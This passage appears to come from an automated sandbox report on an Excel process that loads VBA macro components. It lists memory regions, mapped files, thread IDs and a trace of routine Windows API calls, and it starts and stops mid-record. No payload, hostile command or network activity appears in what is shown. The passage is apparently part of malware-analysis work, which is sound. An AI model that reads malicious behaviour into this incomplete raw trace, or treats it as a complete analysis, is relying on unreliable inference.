= "" Region: id = 559 start_va = 0x7fffff80000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 560 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 561 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 562 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 563 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 564 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 565 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 566 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 567 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 568 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 569 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 570 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 571 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 572 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 573 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 574 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 575 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 576 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 577 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 578 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 579 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 580 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 581 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 582 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 583 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 584 start_va = 0x4fc0000 end_va = 0x4fc3fff entry_point = 0x4fc0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 585 start_va = 0x7f70000 end_va = 0x7f70fff entry_point = 0x0 region_type = private name = "private_0x0000000007f70000" filename = "" Region: id = 586 start_va = 0xbf00000 end_va = 0xbf7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000bf00000" filename = "" Region: id = 587 start_va = 0xc0c0000 end_va = 0xc13ffff entry_point = 0xc0c0000 region_type = mapped_file name = "~df24988ab3f044172e.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DF24988AB3F044172E.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~df24988ab3f044172e.tmp") Region: id = 588 start_va = 0xc2e0000 end_va = 0xc35ffff entry_point = 0x0 region_type = private name = "private_0x000000000c2e0000" filename = "" Region: id = 589 start_va = 0xd3f0000 end_va = 0xd46ffff entry_point = 0x0 region_type = private name = "private_0x000000000d3f0000" filename = "" Region: id = 590 start_va = 0xdcb0000 end_va = 0xecaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dcb0000" filename = "" Region: id = 591 start_va = 0x7fee5eb0000 end_va = 0x7fee6436fff entry_point = 0x7fee5eb0000 region_type = mapped_file name = "gkexcel.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkexcel.dll") Region: id = 592 start_va = 0x5110000 end_va = 0x5112fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005110000" filename = "" Region: id = 593 start_va = 0xd370000 end_va = 0xd3effff entry_point = 0x0 region_type = private name = "private_0x000000000d370000" filename = "" Region: id = 594 start_va = 0xee80000 end_va = 0xeefffff entry_point = 0x0 region_type = private name = "private_0x000000000ee80000" filename = "" Region: id = 595 start_va = 0x75770000 end_va = 0x75841fff entry_point = 0x75770000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcr100.dll") Region: id = 596 start_va = 0x7fee5a60000 end_va = 0x7fee5ea7fff entry_point = 0x7fee5a60000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 597 start_va = 0x7fee6a60000 end_va = 0x7fee6b19fff entry_point = 0x7fee6a60000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 598 start_va = 0xc3f0000 end_va = 0xc3fffff entry_point = 0x0 region_type = private name = "private_0x000000000c3f0000" filename = "" Region: id = 599 start_va = 0xcd10000 end_va = 0xce0ffff entry_point = 0x0 region_type = private name = "private_0x000000000cd10000" filename = "" Region: id = 600 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 601 start_va = 0xef00000 end_va = 0xf191fff entry_point = 0xef00000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 602 start_va = 0xef00000 end_va = 0xf191fff entry_point = 0xef00000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 603 start_va = 0x7fee57c0000 end_va = 0x7fee5a5dfff entry_point = 0x7fee57c0000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 604 start_va = 0x5510000 end_va = 0x5512fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005510000" filename = "" Region: id = 605 start_va = 0x5520000 end_va = 0x552ffff entry_point = 0x0 region_type = private name = "private_0x0000000005520000" filename = "" Region: id = 606 start_va = 0x7fee6a30000 end_va = 0x7fee6a55fff entry_point = 0x7fee6a30000 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 607 start_va = 0x5530000 end_va = 0x5539fff entry_point = 0x5530000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 608 start_va = 0x5580000 end_va = 0x5580fff entry_point = 0x0 region_type = private name = "private_0x0000000005580000" filename = "" Region: id = 609 start_va = 0x6710000 end_va = 0x674ffff entry_point = 0x0 region_type = private name = "private_0x0000000006710000" filename = "" Region: id = 610 start_va = 0x62a0000 end_va = 0x62a2fff entry_point = 0x0 region_type = private name = "private_0x00000000062a0000" filename = "" Region: id = 611 start_va = 0x62b0000 end_va = 0x62b3fff entry_point = 0x0 region_type = private name = "private_0x00000000062b0000" filename = "" Region: id = 612 start_va = 0x64e0000 end_va = 0x64e0fff entry_point = 0x0 region_type = private name = "private_0x00000000064e0000" filename = "" Region: id = 613 start_va = 0x64f0000 end_va = 0x64f0fff entry_point = 0x0 region_type = private name = "private_0x00000000064f0000" filename = "" Region: id = 614 start_va = 0x6580000 end_va = 0x6580fff entry_point = 0x0 region_type = private name = "private_0x0000000006580000" filename = "" Region: id = 615 start_va = 0x6750000 end_va = 0x6757fff entry_point = 0x0 region_type = private name = "private_0x0000000006750000" filename = "" Region: id = 616 start_va = 0x69f0000 end_va = 0x6a2ffff entry_point = 0x0 region_type = private name = "private_0x00000000069f0000" filename = "" Region: id = 617 start_va = 0x6760000 end_va = 0x6762fff entry_point = 0x0 region_type = private name = "private_0x0000000006760000" filename = "" Region: id = 618 start_va = 0xc360000 end_va = 0xc3dffff entry_point = 0xc360000 region_type = mapped_file name = "~dfe021287e491fe175.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DFE021287E491FE175.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~dfe021287e491fe175.tmp") Region: id = 619 start_va = 0xef00000 end_va = 0xfefffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ef00000" filename = "" Region: id = 620 start_va = 0xcf60000 end_va = 0xd066fff entry_point = 0xcf60000 region_type = mapped_file name = "excel.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe") Region: id = 621 start_va = 0x6a30000 end_va = 0x6a3bfff entry_point = 0x6a30000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 622 start_va = 0x6a40000 end_va = 0x6a43fff entry_point = 0x6a40000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 623 start_va = 0x7f20000 end_va = 0x7f30fff entry_point = 0x7f20000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 624 start_va = 0xd290000 end_va = 0xd315fff entry_point = 0xd290000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 625 start_va = 0x6e20000 end_va = 0x6e23fff entry_point = 0x0 region_type = private name = "private_0x0000000006e20000" filename = "" Region: id = 626 start_va = 0x7ee0000 end_va = 0x7ee3fff entry_point = 0x0 region_type = private name = "private_0x0000000007ee0000" filename = "" Region: id = 629 start_va = 0x7f40000 end_va = 0x7f41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007f40000" filename = "" Region: id = 630 start_va = 0x7f50000 end_va = 0x7f53fff entry_point = 0x0 region_type = private name = "private_0x0000000007f50000" filename = "" Region: id = 631 start_va = 0x7f60000 end_va = 0x7f61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007f60000" filename = "" Region: id = 632 start_va = 0x7f90000 end_va = 0x7f90fff entry_point = 0x0 region_type = private name = "private_0x0000000007f90000" filename = "" Region: id = 633 start_va = 0x7fc0000 end_va = 0x7fc0fff entry_point = 0x0 region_type = private name = "private_0x0000000007fc0000" filename = "" Region: id = 634 start_va = 0xc150000 end_va = 0xc150fff entry_point = 0x0 region_type = private name = "private_0x000000000c150000" filename = "" Region: id = 635 start_va = 0xecb0000 end_va = 0xee53fff entry_point = 0x0 region_type = private name = "private_0x000000000ecb0000" filename = "" Region: id = 636 start_va = 0xfff0000 end_va = 0x100effff entry_point = 0x0 region_type = private name = "private_0x000000000fff0000" filename = "" Region: id = 637 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 648 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 654 start_va = 0x7fa0000 end_va = 0x7fa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007fa0000" filename = "" Region: id = 655 start_va = 0x7fb0000 end_va = 0x7fb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007fb0000" filename = "" Region: id = 656 start_va = 0xbde0000 end_va = 0xbde1fff entry_point = 0x0 region_type = private name = "private_0x000000000bde0000" filename = "" Region: id = 657 start_va = 0xbdf0000 end_va = 0xbdf1fff entry_point = 0x0 region_type = private name = "private_0x000000000bdf0000" filename = "" Region: id = 658 start_va = 0xbf80000 end_va = 0xbf80fff entry_point = 0x0 region_type = private name = "private_0x000000000bf80000" filename = "" Region: id = 659 start_va = 0xbfa0000 end_va = 0xbfa0fff entry_point = 0x0 region_type = private name = "private_0x000000000bfa0000" filename = "" Region: id = 660 start_va = 0xbfb0000 end_va = 0xbfb1fff entry_point = 0x0 region_type = private name = "private_0x000000000bfb0000" filename = "" Region: id = 661 start_va = 0x10260000 end_va = 0x1035ffff entry_point = 0x0 region_type = private name = "private_0x0000000010260000" filename = "" Region: id = 662 start_va = 0x7fef5990000 end_va = 0x7fef59b2fff entry_point = 0x7fef5990000 region_type = mapped_file name = "officevoicemanager.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\officevoicemanager.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\officevoicemanager.dll") Region: id = 663 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 664 start_va = 0xa7d0000 end_va = 0xa7d0fff entry_point = 0x0 region_type = private name = "private_0x000000000a7d0000" filename = "" Region: id = 665 start_va = 0xa870000 end_va = 0xa870fff entry_point = 0x0 region_type = private name = "private_0x000000000a870000" filename = "" Region: id = 666 start_va = 0xa910000 end_va = 0xa910fff entry_point = 0x0 region_type = private name = "private_0x000000000a910000" filename = "" Region: id = 667 start_va = 0xa9b0000 end_va = 0xa9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000a9b0000" filename = "" Region: id = 668 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 966 start_va = 0xa770000 end_va = 0xa7a0fff entry_point = 0xa770000 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 967 start_va = 0xd860000 end_va = 0xd95ffff entry_point = 0x0 region_type = private name = "private_0x000000000d860000" filename = "" Region: id = 968 start_va = 0x7fee6700000 end_va = 0x7fee6873fff entry_point = 0x7fee6700000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll") Region: id = 1007 start_va = 0x7f80000 end_va = 0x7f84fff entry_point = 0x0 region_type = private name = "private_0x0000000007f80000" filename = "" Region: id = 1008 start_va = 0x7fd0000 end_va = 0x7fd0fff entry_point = 0x0 region_type = private name = "private_0x0000000007fd0000" filename = "" Region: id = 1009 start_va = 0x7fe0000 end_va = 0x7fe0fff entry_point = 0x0 region_type = private name = "private_0x0000000007fe0000" filename = "" Region: id = 1010 start_va = 0x10360000 end_va = 0x10b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000010360000" filename = "" Region: id = 1011 start_va = 0x7fee6df0000 end_va = 0x7fee6f0efff entry_point = 0x7fee6df0000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 1422 start_va = 0x4220000 end_va = 0x4221fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004220000" filename = "" Region: id = 1423 start_va = 0xc160000 end_va = 0xc261fff entry_point = 0x0 region_type = private name = "private_0x000000000c160000" filename = "" Region: id = 1424 start_va = 0x7fee0340000 end_va = 0x7fee0e90fff entry_point = 0x7fee0340000 region_type = mapped_file name = "igx.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IGX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\igx.dll") Region: id = 2998 start_va = 0x2a00000 end_va = 0x2a1bfff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 2999 start_va = 0x2a20000 end_va = 0x2a9ffff entry_point = 0x2a20000 region_type = mapped_file name = "b7840000" filename = "\\Users\\aETAdzjz\\Desktop\\B7840000" (normalized: "c:\\users\\aetadzjz\\desktop\\b7840000") Region: id = 3000 start_va = 0x2aa0000 end_va = 0x2aa3fff entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 3001 start_va = 0x4260000 end_va = 0x4261fff entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 3002 start_va = 0x4270000 end_va = 0x4270fff entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 3003 start_va = 0x4290000 end_va = 0x4290fff entry_point = 0x0 region_type = private name = "private_0x0000000004290000" filename = "" Region: id = 3004 start_va = 0x42a0000 end_va = 0x42a0fff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 3005 start_va = 0x42b0000 end_va = 0x42b0fff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 3006 start_va = 0x42c0000 end_va = 0x42c0fff entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 3007 start_va = 0x4300000 end_va = 0x4301fff entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 3008 start_va = 0x4310000 end_va = 0x4313fff entry_point = 0x0 region_type = private name = "private_0x0000000004310000" filename = "" Region: id = 3009 start_va = 0xc410000 end_va = 0xc50ffff entry_point = 0x0 region_type = private name = "private_0x000000000c410000" filename = "" Region: id = 3010 start_va = 0x10b80000 end_va = 0x10c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000010b80000" filename = "" Region: id = 3011 start_va = 0x10c80000 end_va = 0x11c7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010c80000" filename = "" Region: id = 3012 start_va = 0x7fef6100000 end_va = 0x7fef62f1fff entry_point = 0x7fef6100000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 3013 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3014 start_va = 0x2ab0000 end_va = 0x2ab0fff entry_point = 0x2ab0000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 3015 start_va = 0xd1c0000 end_va = 0xd23ffff entry_point = 0x0 region_type = private name = "private_0x000000000d1c0000" filename = "" Region: id = 3016 start_va = 0xdb40000 end_va = 0xdbbffff entry_point = 0x0 region_type = private name = "private_0x000000000db40000" filename = "" Region: id = 3017 start_va = 0x11e60000 end_va = 0x11edffff entry_point = 0x0 region_type = private name = "private_0x0000000011e60000" filename = "" Region: id = 3018 start_va = 0x11ee0000 end_va = 0x122dffff entry_point = 0x0 region_type = private name = "private_0x0000000011ee0000" filename = "" Region: id = 3019 start_va = 0x4320000 end_va = 0x4390fff entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 3020 start_va = 0x2a00000 end_va = 0x2a7ffff entry_point = 0x2a00000 region_type = mapped_file name = "3d_5684_" filename = "\\Users\\aETAdzjz\\Desktop\\3D_5684_" (normalized: "c:\\users\\aetadzjz\\desktop\\3d_5684_") Region: id = 3021 start_va = 0x43a0000 end_va = 0x441ffff entry_point = 0x43a0000 region_type = mapped_file name = "~dfab879ec22c7963e5.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DFAB879EC22C7963E5.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~dfab879ec22c7963e5.tmp") Thread: id = 1 os_tid = 0xa98 Thread: id = 2 os_tid = 0xa94 Thread: id = 3 os_tid = 0xa90 Thread: id = 4 os_tid = 0xa8c Thread: id = 5 os_tid = 0xa88 Thread: id = 6 os_tid = 0xa84 Thread: id = 7 os_tid = 0xa80 Thread: id = 8 os_tid = 0xa74 Thread: id = 9 os_tid = 0xa6c Thread: id = 10 os_tid = 0x9e4 Thread: id = 11 os_tid = 0x9e0 Thread: id = 12 os_tid = 0x9dc Thread: id = 13 os_tid = 0x9d8 Thread: id = 14 os_tid = 0x9d4 Thread: id = 15 os_tid = 0x9d0 Thread: id = 16 os_tid = 0x9cc Thread: id = 17 os_tid = 0x9b0 Thread: id = 18 os_tid = 0x99c Thread: id = 19 os_tid = 0x998 Thread: id = 20 os_tid = 0x988 Thread: id = 21 os_tid = 0x984 Thread: id = 22 os_tid = 0x980 Thread: id = 23 os_tid = 0x97c Thread: id = 24 os_tid = 0x978 Thread: id = 25 os_tid = 0x974 Thread: id = 26 os_tid = 0x970 Thread: id = 27 os_tid = 0x96c Thread: id = 28 os_tid = 0x968 Thread: id = 29 os_tid = 0x948 Thread: id = 30 os_tid = 0x944 Thread: id = 31 os_tid = 0x940 Thread: id = 32 os_tid = 0x93c Thread: id = 33 os_tid = 0x938 Thread: id = 34 os_tid = 0x934 Thread: id = 35 os_tid = 0x930 Thread: id = 36 os_tid = 0x92c [0077.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f410 | out: lpSystemTimeAsFileTime=0x26f410*(dwLowDateTime=0x20e0e2a0, dwHighDateTime=0x1d471c5)) [0077.707] GetCurrentProcessId () returned 0x928 [0077.707] GetCurrentThreadId () returned 0x92c [0077.707] GetTickCount () returned 0x1fbbc [0077.707] QueryPerformanceCounter (in: lpPerformanceCount=0x26f418 | out: lpPerformanceCount=0x26f418*=1813609800000) returned 1 [0077.710] __dllonexit () returned 0xffcf593f9b600000 [0077.710] __dllonexit () returned 0xffcf593a17e00000 [0077.713] __dllonexit () returned 0xffcf593a72600000 [0077.714] __dllonexit () returned 0xffcf593989e00000 [0077.714] __dllonexit () returned 0xffcf593a79600000 [0077.715] __dllonexit () returned 0xffcf593a65600000 [0077.715] __dllonexit () returned 0xffcf593a61600000 [0077.715] __dllonexit () returned 0xffcf593a6d600000 [0077.716] __dllonexit () returned 0xffcf593a69600000 [0077.716] __dllonexit () returned 0xffcf593a55600000 [0077.717] __dllonexit () returned 0xffcf593a51600000 [0077.717] __dllonexit () returned 0xffcf593a5d600000 [0077.718] __dllonexit () returned 0xffcf593a59600000 [0077.718] __dllonexit () returned 0xffcf593a45600000 [0077.718] __dllonexit () returned 0xffcf593a41600000 [0077.719] __dllonexit () returned 0xffcf593a4d600000 [0077.719] __dllonexit () returned 0xffcf593a49600000 [0077.719] __dllonexit () returned 0xffcf593bcf600000 [0077.721] __dllonexit () returned 0xffcf593f81600000 [0077.721] __dllonexit () returned 0xffcf593f8f600000 [0077.722] __dllonexit () returned 0xffcf593f8b600000 [0077.722] __dllonexit () returned 0xffcf593871600000 [0077.722] __dllonexit () returned 0xffcf59387f600000 [0077.723] __dllonexit () returned 0xffcf593878e00000 [0077.726] DisableThreadLibraryCalls (hLibModule=0x7fee5a60000) returned 1 [0077.726] GetVersion () returned 0x1db10106 [0077.726] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0077.726] GetUserDefaultLCID () returned 0x409 [0077.726] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0077.726] GetSystemMetrics (nIndex=5) returned 1 [0077.726] GetSystemMetrics (nIndex=6) returned 1 [0077.726] GetSystemMetrics (nIndex=11) returned 32 [0077.726] GetSystemMetrics (nIndex=12) returned 32 [0077.726] GetSystemMetrics (nIndex=34) returned 132 [0077.726] GetSystemMetrics (nIndex=35) returned 38 [0077.726] GetSystemMetrics (nIndex=0) returned 1440 [0077.726] GetSystemMetrics (nIndex=1) returned 900 [0077.726] GetSystemMetrics (nIndex=32) returned 4 [0077.726] GetSystemMetrics (nIndex=33) returned 4 [0077.726] GetSystemMetrics (nIndex=4) returned 22 [0077.726] GetSystemMetrics (nIndex=42) returned 0 [0077.726] GetStockObject (i=15) returned 0x188000b [0077.726] GetStockObject (i=7) returned 0x1b00017 [0077.726] GetStockObject (i=6) returned 0x1b00018 [0077.726] GetStockObject (i=8) returned 0x1b00016 [0077.727] GetStockObject (i=4) returned 0x1900011 [0077.727] GetStockObject (i=2) returned 0x1900012 [0077.727] GetStockObject (i=0) returned 0x1900010 [0077.727] GetStockObject (i=5) returned 0x1900015 [0077.727] GetStockObject (i=13) returned 0x18a002e [0077.727] GetDC (hWnd=0x0) returned 0x2c010a59 [0077.727] GetDeviceCaps (hdc=0x2c010a59, index=14) returned 1 [0077.727] GetDeviceCaps (hdc=0x2c010a59, index=12) returned 32 [0077.727] GetDeviceCaps (hdc=0x2c010a59, index=88) returned 96 [0077.727] GetDeviceCaps (hdc=0x2c010a59, index=90) returned 96 [0077.727] GetDeviceCaps (hdc=0x2c010a59, index=38) returned 32409 [0077.727] ReleaseDC (hWnd=0x0, hDC=0x2c010a59) returned 1 [0077.727] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fee5e3ba60 | out: ppMalloc=0x7fee5e3ba60*=0x7feffc15380) returned 0x0 [0077.817] GetModuleHandleA (lpModuleName=0x0) returned 0x13f4a0000 [0077.818] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7fee5e3a048, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0x270940, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0x270940, pcbWrittenOrRequired=0x0) returned 1 [0077.818] ActivateActCtx (in: hActCtx=0xb1c7a78, lpCookie=0x270930 | out: hActCtx=0xb1c7a78, lpCookie=0x270930) returned 1 [0077.818] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0x270950 | out: ReturnedData=0x270950) returned 1 [0077.818] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7fefc690000 [0077.819] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c25) returned 1 [0077.819] RegisterClassA (lpWndClass=0x270c80) returned 0x7a010950c052 [0077.821] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c26) returned 1 [0077.822] wcscpy_s (in: _Destination=0x746caf0, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0077.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", cchWideChar=77, lpMultiByteStr=0xc3f2540, cbMultiByte=154, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", lpUsedDefaultChar=0x0) 